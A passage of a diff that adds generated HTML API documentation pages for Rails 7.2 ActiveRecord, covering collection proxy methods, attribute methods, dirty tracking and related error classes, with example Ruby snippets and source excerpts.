person.pets.replace(["doo", "ggie", "gaga"])
+# => ActiveRecord::AssociationTypeMismatch: Pet expected, got String
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 391
+      def replace(other_array)
+        @association.replace(other_array)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset() + +

+ + +
+

Unloads the association. Returns self.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets # fetches pets from the database
+# => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+
+person.pets # uses the pets cache
+# => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+
+person.pets.reset # clears the pets cache
+
+person.pets  # fetches pets from the database
+# => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 1106
+      def reset
+        proxy_association.reset
+        proxy_association.reset_scope
+        reset_scope
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + scope() + +

+ + +
+

Returns a Relation object for the records in this association

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 949
+      def scope
+        @scope ||= @association.scope
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + second() + + +

+ + +
+

Same as first except returns only the second record.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + second_to_last() + + +

+ + +
+

Same as last except returns only the second-to-last record.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + select(*fields, &block) + + +

+ + +
+

Works in two ways.

+ +

First: Specify a subset of fields to be selected from the result set.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.select(:name)
+# => [
+#      #<Pet id: nil, name: "Fancy-Fancy">,
+#      #<Pet id: nil, name: "Spook">,
+#      #<Pet id: nil, name: "Choo-Choo">
+#    ]
+
+person.pets.select(:id, :name)
+# => [
+#      #<Pet id: 1, name: "Fancy-Fancy">,
+#      #<Pet id: 2, name: "Spook">,
+#      #<Pet id: 3, name: "Choo-Choo">
+#    ]
+
+ +

Be careful because this also means you’re initializing a model object with only the fields that you’ve selected. If you attempt to access a field except id that is not in the initialized record you’ll receive:

+ +
person.pets.select(:name).first.person_id
+# => ActiveModel::MissingAttributeError: missing attribute 'person_id' for Pet
+
+ +

Second: You can pass a block so it can be used just like Array#select. This builds an array of objects from the database for the scope, converting them into an array and iterating through them using Array#select.

+ +
person.pets.select { |pet| /oo/.match?(pet.name) }
+# => [
+#      #<Pet id: 2, name: "Spook", person_id: 1>,
+#      #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + size() + +

+ + +
+

Returns the size of the collection. If the collection hasn’t been loaded, it executes a SELECT COUNT(*) query. Else it calls collection.size.

+ +

If the collection has been already loaded size and length are equivalent. If not and you are going to need the records anyway length will take one less query. Otherwise size is more efficient.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets.size # => 3
+# executes something like SELECT COUNT(*) FROM "pets" WHERE "pets"."person_id" = 1
+
+person.pets # This will execute a SELECT * FROM query
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.size # => 3
+# Because the collection is already loaded, this will behave like
+# collection.size and no SQL count query is executed.
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 782
+      def size
+        @association.size
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + take(limit = nil) + +

+ + +
+

Gives a record (or N records if a parameter is supplied) from the collection using the same rules as ActiveRecord::FinderMethods.take.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.take # => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>
+
+person.pets.take(2)
+# => [
+#      #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#      #<Pet id: 2, name: "Spook", person_id: 1>
+#    ]
+
+another_person_without.pets         # => []
+another_person_without.pets.take    # => nil
+another_person_without.pets.take(2) # => []
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 289
+      def take(limit = nil)
+        load_target if find_from_target?
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + target() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 40
+      def target
+        @association.target
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + third() + + +

+ + +
+

Same as first except returns only the third record.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + third_to_last() + + +

+ + +
+

Same as last except returns only the third-to-last record.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Associations/NestedError.html b/src/7.2/classes/ActiveRecord/Associations/NestedError.html new file mode 100644 index 0000000000..bac9c591dd --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Associations/NestedError.html @@ -0,0 +1,110 @@ +--- +title: ActiveRecord::Associations::NestedError +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(association, inner_error) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/nested_error.rb, line 8
+      def initialize(association, inner_error)
+        @base = association.owner
+        @association = association
+        @inner_error = inner_error
+        super(@base, inner_error, { attribute: compute_attribute(inner_error) })
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AsynchronousQueryInsideTransactionError.html b/src/7.2/classes/ActiveRecord/AsynchronousQueryInsideTransactionError.html new file mode 100644 index 0000000000..756ed4c224 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AsynchronousQueryInsideTransactionError.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::AsynchronousQueryInsideTransactionError +layout: default +--- +
+ +
+
+ +
+ +

AsynchronousQueryInsideTransactionError will be raised when attempting to perform an asynchronous query from inside a transaction

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AttributeAssignment.html b/src/7.2/classes/ActiveRecord/AttributeAssignment.html new file mode 100644 index 0000000000..70aa634b20 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AttributeAssignment.html @@ -0,0 +1,54 @@ +--- +title: ActiveRecord::AttributeAssignment +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AttributeAssignmentError.html b/src/7.2/classes/ActiveRecord/AttributeAssignmentError.html new file mode 100644 index 0000000000..37ac99f9bb --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AttributeAssignmentError.html @@ -0,0 +1,137 @@ +--- +title: ActiveRecord::AttributeAssignmentError +layout: default +--- +
+ +
+
+ +
+ +

Raised when an error occurred while doing a mass assignment to an attribute through the ActiveRecord::Base#attributes= method. The exception has an attribute property that is the name of the offending attribute.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + attribute
+ [R] + exception
+ + + + +

Class Public methods

+ +
+

+ + new(message = nil, exception = nil, attribute = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 439
+    def initialize(message = nil, exception = nil, attribute = nil)
+      super(message)
+      @exception = exception
+      @attribute = attribute
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AttributeMethods.html b/src/7.2/classes/ActiveRecord/AttributeMethods.html new file mode 100644 index 0000000000..13431cfcb3 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AttributeMethods.html @@ -0,0 +1,693 @@ +--- +title: ActiveRecord::AttributeMethods +layout: default +--- +
+ +
+
+ +
+ +

Active Record Attribute Methods

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
RESTRICTED_CLASS_METHODS=%w(private public protected allocate new name superclass)
+ + + + + + + +

Instance Public methods

+ +
+

+ + [](attr_name) + +

+ + +
+

Returns the value of the attribute identified by attr_name after it has been type cast. (For information about specific type casting behavior, see the types under ActiveModel::Type.)

+ +
class Person < ActiveRecord::Base
+  belongs_to :organization
+end
+
+person = Person.new(name: "Francesco", date_of_birth: "2004-12-12")
+person[:name]            # => "Francesco"
+person[:date_of_birth]   # => Date.new(2004, 12, 12)
+person[:organization_id] # => nil
+
+ +

Raises ActiveModel::MissingAttributeError if the attribute is missing. Note, however, that the id attribute will never be considered missing.

+ +
person = Person.select(:name).first
+person[:name]            # => "Francesco"
+person[:date_of_birth]   # => ActiveModel::MissingAttributeError: missing attribute 'date_of_birth' for Person
+person[:organization_id] # => ActiveModel::MissingAttributeError: missing attribute 'organization_id' for Person
+person[:id]              # => nil
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods.rb, line 414
+    def [](attr_name)
+      read_attribute(attr_name) { |n| missing_attribute(n, caller) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + []=(attr_name, value) + +

+ + +
+

Updates the attribute identified by attr_name using the specified value. The attribute value will be type cast upon being read.

+ +
class Person < ActiveRecord::Base
+end
+
+person = Person.new
+person[:date_of_birth] = "2004-12-12"
+person[:date_of_birth] # => Date.new(2004, 12, 12)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods.rb, line 427
+    def []=(attr_name, value)
+      write_attribute(attr_name, value)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + accessed_fields() + +

+ + +
+

Returns the name of all database fields which have been read from this model. This can be useful in development mode to determine which fields need to be selected. For performance critical pages, selecting only the required fields can be an easy performance win (assuming you aren’t using all of the fields on the model).

+ +

For example:

+ +
class PostsController < ActionController::Base
+  after_action :print_accessed_fields, only: :index
+
+  def index
+    @posts = Post.all
+  end
+
+  private
+    def print_accessed_fields
+      p @posts.first.accessed_fields
+    end
+end
+
+ +

Which allows you to quickly change your code to:

+ +
class PostsController < ActionController::Base
+  def index
+    @posts = Post.select(:id, :title, :author_id, :updated_at)
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods.rb, line 459
+    def accessed_fields
+      @attributes.accessed
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_for_inspect(attr_name) + +

+ + +
+

Returns an #inspect-like string for the value of the attribute attr_name. String attributes are truncated up to 50 characters. Other attributes return the value of #inspect without modification.

+ +
person = Person.create!(name: 'David Heinemeier Hansson ' * 3)
+
+person.attribute_for_inspect(:name)
+# => "\"David Heinemeier Hansson David Heinemeier Hansson ...\""
+
+person.attribute_for_inspect(:created_at)
+# => "\"2012-10-22 00:15:07.000000000 +0000\""
+
+person.attribute_for_inspect(:tag_ids)
+# => "[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods.rb, line 364
+    def attribute_for_inspect(attr_name)
+      attr_name = attr_name.to_s
+      attr_name = self.class.attribute_aliases[attr_name] || attr_name
+      value = _read_attribute(attr_name)
+      format_for_inspect(attr_name, value)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_names() + +

+ + +
+

Returns an array of names for the attributes available on this object.

+ +
class Person < ActiveRecord::Base
+end
+
+person = Person.new
+person.attribute_names
+# => ["id", "created_at", "updated_at", "name", "age"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods.rb, line 333
+    def attribute_names
+      @attributes.keys
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_present?(attr_name) + +

+ + +
+

Returns true if the specified attribute has been set by the user or by a database load and is neither nil nor empty? (the latter only applies to objects that respond to empty?, most notably Strings). Otherwise, false. Note that it always returns true with boolean attributes.

+ +
class Task < ActiveRecord::Base
+end
+
+task = Task.new(title: '', is_done: false)
+task.attribute_present?(:title)   # => false
+task.attribute_present?(:is_done) # => true
+task.title = 'Buy milk'
+task.is_done = true
+task.attribute_present?(:title)   # => true
+task.attribute_present?(:is_done) # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods.rb, line 386
+    def attribute_present?(attr_name)
+      attr_name = attr_name.to_s
+      attr_name = self.class.attribute_aliases[attr_name] || attr_name
+      value = _read_attribute(attr_name)
+      !value.nil? && !(value.respond_to?(:empty?) && value.empty?)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attributes() + +

+ + +
+

Returns a hash of all the attributes with their names as keys and the values of the attributes as values.

+ +
class Person < ActiveRecord::Base
+end
+
+person = Person.create(name: 'Francesco', age: 22)
+person.attributes
+# => {"id"=>3, "created_at"=>Sun, 21 Oct 2012 04:53:04, "updated_at"=>Sun, 21 Oct 2012 04:53:04, "name"=>"Francesco", "age"=>22}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods.rb, line 345
+    def attributes
+      @attributes.to_hash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + has_attribute?(attr_name) + +

+ + +
+

Returns true if the given attribute is in the attributes hash, otherwise false.

+ +
class Person < ActiveRecord::Base
+  alias_attribute :new_name, :name
+end
+
+person = Person.new
+person.has_attribute?(:name)     # => true
+person.has_attribute?(:new_name) # => true
+person.has_attribute?('age')     # => true
+person.has_attribute?(:nothing)  # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods.rb, line 315
+    def has_attribute?(attr_name)
+      attr_name = attr_name.to_s
+      attr_name = self.class.attribute_aliases[attr_name] || attr_name
+      @attributes.key?(attr_name)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + respond_to?(name, include_private = false) + +

+ + +
+

A Person object with a name attribute can ask person.respond_to?(:name), person.respond_to?(:name=), and person.respond_to?(:name?) which will all return true. It also defines the attribute methods if they have not been generated.

+ +
class Person < ActiveRecord::Base
+end
+
+person = Person.new
+person.respond_to?(:name)    # => true
+person.respond_to?(:name=)   # => true
+person.respond_to?(:name?)   # => true
+person.respond_to?('age')    # => true
+person.respond_to?('age=')   # => true
+person.respond_to?('age?')   # => true
+person.respond_to?(:nothing) # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods.rb, line 290
+    def respond_to?(name, include_private = false)
+      return false unless super
+
+      # If the result is true then check for the select case.
+      # For queries selecting a subset of columns, return false for unselected columns.
+      if @attributes
+        if name = self.class.symbol_column_to_string(name.to_sym)
+          return _has_attribute?(name)
+        end
+      end
+
+      true
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AttributeMethods/BeforeTypeCast.html b/src/7.2/classes/ActiveRecord/AttributeMethods/BeforeTypeCast.html new file mode 100644 index 0000000000..31021ea969 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AttributeMethods/BeforeTypeCast.html @@ -0,0 +1,281 @@ +--- +title: ActiveRecord::AttributeMethods::BeforeTypeCast +layout: default +--- +
+ +
+
+ +
+ +

Active Record Attribute Methods Before Type Cast

+ +

ActiveRecord::AttributeMethods::BeforeTypeCast provides a way to read the value of the attributes before typecasting and deserialization.

+ +
class Task < ActiveRecord::Base
+end
+
+task = Task.new(id: '1', completed_on: '2012-10-21')
+task.id           # => 1
+task.completed_on # => Sun, 21 Oct 2012
+
+task.attributes_before_type_cast
+# => {"id"=>"1", "completed_on"=>"2012-10-21", ... }
+task.read_attribute_before_type_cast('id')           # => "1"
+task.read_attribute_before_type_cast('completed_on') # => "2012-10-21"
+
+ +

In addition to read_attribute_before_type_cast and attributes_before_type_cast, it declares a method for all attributes with the *_before_type_cast suffix.

+ +
task.id_before_type_cast           # => "1"
+task.completed_on_before_type_cast # => "2012-10-21"
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + attributes_before_type_cast() + +

+ + +
+

Returns a hash of attributes before typecasting and deserialization.

+ +
class Task < ActiveRecord::Base
+end
+
+task = Task.new(title: nil, is_done: true, completed_on: '2012-10-21')
+task.attributes
+# => {"id"=>nil, "title"=>nil, "is_done"=>true, "completed_on"=>Sun, 21 Oct 2012, "created_at"=>nil, "updated_at"=>nil}
+task.attributes_before_type_cast
+# => {"id"=>nil, "title"=>nil, "is_done"=>true, "completed_on"=>"2012-10-21", "created_at"=>nil, "updated_at"=>nil}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/before_type_cast.rb, line 82
+      def attributes_before_type_cast
+        @attributes.values_before_type_cast
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attributes_for_database() + +

+ + +
+

Returns a hash of attributes for assignment to the database.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/before_type_cast.rb, line 87
+      def attributes_for_database
+        @attributes.values_for_database
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + read_attribute_before_type_cast(attr_name) + +

+ + +
+

Returns the value of the attribute identified by attr_name before typecasting and deserialization.

+ +
class Task < ActiveRecord::Base
+end
+
+task = Task.new(id: '1', completed_on: '2012-10-21')
+task.read_attribute('id')                            # => 1
+task.read_attribute_before_type_cast('id')           # => '1'
+task.read_attribute('completed_on')                  # => Sun, 21 Oct 2012
+task.read_attribute_before_type_cast('completed_on') # => "2012-10-21"
+task.read_attribute_before_type_cast(:completed_on)  # => "2012-10-21"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/before_type_cast.rb, line 48
+      def read_attribute_before_type_cast(attr_name)
+        name = attr_name.to_s
+        name = self.class.attribute_aliases[name] || name
+
+        attribute_before_type_cast(name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + read_attribute_for_database(attr_name) + +

+ + +
+

Returns the value of the attribute identified by attr_name after serialization.

+ +
class Book < ActiveRecord::Base
+  enum :status, { draft: 1, published: 2 }
+end
+
+book = Book.new(status: "published")
+book.read_attribute(:status)              # => "published"
+book.read_attribute_for_database(:status) # => 2
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/before_type_cast.rb, line 65
+      def read_attribute_for_database(attr_name)
+        name = attr_name.to_s
+        name = self.class.attribute_aliases[name] || name
+
+        attribute_for_database(name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AttributeMethods/ClassMethods.html b/src/7.2/classes/ActiveRecord/AttributeMethods/ClassMethods.html new file mode 100644 index 0000000000..a4d926b484 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AttributeMethods/ClassMethods.html @@ -0,0 +1,429 @@ +--- +title: ActiveRecord::AttributeMethods::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + alias_attribute(new_name, old_name) + +

+ + +
+

Allows you to make aliases for attributes.

+ +
class Person < ActiveRecord::Base
+  alias_attribute :nickname, :name
+end
+
+person = Person.create(name: 'Bob')
+person.name     # => "Bob"
+person.nickname # => "Bob"
+
+ +

The alias can also be used for querying:

+ +
Person.where(nickname: "Bob")
+# SELECT "people".* FROM "people" WHERE "people"."name" = "Bob"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods.rb, line 66
+      def alias_attribute(new_name, old_name)
+        super
+
+        if @alias_attributes_mass_generated
+          ActiveSupport::CodeGenerator.batch(generated_attribute_methods, __FILE__, __LINE__) do |code_generator|
+            generate_alias_attribute_methods(code_generator, new_name, old_name)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + alias_attribute_method_definition(code_generator, pattern, new_name, old_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods.rb, line 87
+      def alias_attribute_method_definition(code_generator, pattern, new_name, old_name)
+        old_name = old_name.to_s
+
+        if !abstract_class? && !has_attribute?(old_name)
+          raise ArgumentError, "#{self.name} model aliases `#{old_name}`, but `#{old_name}` is not an attribute. " \
+            "Use `alias_method :#{new_name}, :#{old_name}` or define the method manually."
+        else
+          define_attribute_method_pattern(pattern, old_name, owner: code_generator, as: new_name, override: true)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_method?(attribute) + +

+ + +
+

Returns true if attribute is an attribute method and table exists, false otherwise.

+ +
class Person < ActiveRecord::Base
+end
+
+Person.attribute_method?('name')   # => true
+Person.attribute_method?(:age=)    # => true
+Person.attribute_method?(:nothing) # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods.rb, line 223
+      def attribute_method?(attribute)
+        super || (table_exists? && column_names.include?(attribute.to_s.delete_suffix("=")))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_names() + +

+ + +
+

Returns an array of column names as strings if it’s not an abstract class and table exists. Otherwise it returns an empty array.

+ +
class Person < ActiveRecord::Base
+end
+
+Person.attribute_names
+# => ["id", "created_at", "updated_at", "name", "age"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods.rb, line 235
+      def attribute_names
+        @attribute_names ||= if !abstract_class? && table_exists?
+          attribute_types.keys
+        else
+          []
+        end.freeze
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dangerous_class_method?(method_name) + +

+ + +
+

A class method is β€˜dangerous’ if it is already (re)defined by Active Record, but not by any ancestors. (So β€˜puts’ is not dangerous but β€˜new’ is.)

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods.rb, line 200
+      def dangerous_class_method?(method_name)
+        return true if RESTRICTED_CLASS_METHODS.include?(method_name.to_s)
+
+        if Base.respond_to?(method_name, true)
+          if Object.respond_to?(method_name, true)
+            Base.method(method_name).owner != Object.method(method_name).owner
+          else
+            true
+          end
+        else
+          false
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + has_attribute?(attr_name) + +

+ + +
+

Returns true if the given attribute exists, otherwise false.

+ +
class Person < ActiveRecord::Base
+  alias_attribute :new_name, :name
+end
+
+Person.has_attribute?('name')     # => true
+Person.has_attribute?('new_name') # => true
+Person.has_attribute?(:age)       # => true
+Person.has_attribute?(:nothing)   # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods.rb, line 253
+      def has_attribute?(attr_name)
+        attr_name = attr_name.to_s
+        attr_name = attribute_aliases[attr_name] || attr_name
+        attribute_types.key?(attr_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + instance_method_already_implemented?(method_name) + +

+ + +
+

Raises an ActiveRecord::DangerousAttributeError exception when an Active Record method is defined in the model, otherwise false.

+ +
class Person < ActiveRecord::Base
+  def save
+    'already defined by Active Record'
+  end
+end
+
+Person.instance_method_already_implemented?(:save)
+# => ActiveRecord::DangerousAttributeError: save is defined by Active Record. Check to make sure that you don't have an attribute or method with the same name.
+
+Person.instance_method_already_implemented?(:name)
+# => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods.rb, line 164
+      def instance_method_already_implemented?(method_name)
+        if dangerous_attribute_method?(method_name)
+          raise DangerousAttributeError, "#{method_name} is defined by Active Record. Check to make sure that you don't have an attribute or method with the same name."
+        end
+
+        if superclass == Base
+          super
+        else
+          # If ThisClass < ... < SomeSuperClass < ... < Base and SomeSuperClass
+          # defines its own attribute method, then we don't want to override that.
+          defined = method_defined_within?(method_name, superclass, Base) &&
+            ! superclass.instance_method(method_name).owner.is_a?(GeneratedAttributeMethods)
+          defined || super
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AttributeMethods/Dirty.html b/src/7.2/classes/ActiveRecord/AttributeMethods/Dirty.html new file mode 100644 index 0000000000..7ac02845de --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AttributeMethods/Dirty.html @@ -0,0 +1,657 @@ +--- +title: ActiveRecord::AttributeMethods::Dirty +layout: default +--- +
+ +
+
+ +
+ +

Active Record Attribute Methods Dirty

+ +

Provides a way to track changes in your Active Record models. It adds all methods from ActiveModel::Dirty and adds database-specific methods.

+ +

A newly created Person object is unchanged:

+ +
class Person < ActiveRecord::Base
+end
+
+person = Person.create(name: "Allison")
+person.changed? # => false
+
+ +

Change the name:

+ +
person.name = 'Alice'
+person.name_in_database          # => "Allison"
+person.will_save_change_to_name? # => true
+person.name_change_to_be_saved   # => ["Allison", "Alice"]
+person.changes_to_save           # => {"name"=>["Allison", "Alice"]}
+
+ +

Save the changes:

+ +
person.save
+person.name_in_database        # => "Alice"
+person.saved_change_to_name?   # => true
+person.saved_change_to_name    # => ["Allison", "Alice"]
+person.name_before_last_save   # => "Allison"
+
+ +

Similar to ActiveModel::Dirty, methods can be invoked as saved_change_to_name? or by passing an argument to the generic method saved_change_to_attribute?("name").

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + attribute_before_last_save(attr_name) + +

+ + +
+

Returns the original value of an attribute before the last save.

+ +

This method is useful in after callbacks to get the original value of an attribute before the save that triggered the callbacks to run. It can be invoked as name_before_last_save instead of attribute_before_last_save("name").

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/dirty.rb, line 108
+      def attribute_before_last_save(attr_name)
+        mutations_before_last_save.original_value(attr_name.to_s)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_change_to_be_saved(attr_name) + +

+ + +
+

Returns the change to an attribute that will be persisted during the next save.

+ +

This method is useful in validations and before callbacks, to see the change to an attribute that will occur when the record is saved. It can be invoked as name_change_to_be_saved instead of attribute_change_to_be_saved("name").

+ +

If the attribute will change, the result will be an array containing the original value and the new value about to be saved.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/dirty.rb, line 152
+      def attribute_change_to_be_saved(attr_name)
+        mutations_from_database.change_to_attribute(attr_name.to_s)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_in_database(attr_name) + +

+ + +
+

Returns the value of an attribute in the database, as opposed to the in-memory value that will be persisted the next time the record is saved.

+ +

This method is useful in validations and before callbacks, to see the original value of an attribute prior to any changes about to be saved. It can be invoked as name_in_database instead of attribute_in_database("name").

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/dirty.rb, line 164
+      def attribute_in_database(attr_name)
+        mutations_from_database.original_value(attr_name.to_s)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attributes_in_database() + +

+ + +
+

Returns a hash of the attributes that will change when the record is next saved.

+ +

The hash keys are the attribute names, and the hash values are the original attribute values in the database (as opposed to the in-memory values about to be saved).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/dirty.rb, line 191
+      def attributes_in_database
+        mutations_from_database.changed_values
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + changed_attribute_names_to_save() + +

+ + +
+

Returns an array of the names of any attributes that will change when the record is next saved.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/dirty.rb, line 181
+      def changed_attribute_names_to_save
+        mutations_from_database.changed_attribute_names
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + changes_to_save() + +

+ + +
+

Returns a hash containing all the changes that will be persisted during the next save.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/dirty.rb, line 175
+      def changes_to_save
+        mutations_from_database.changes
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

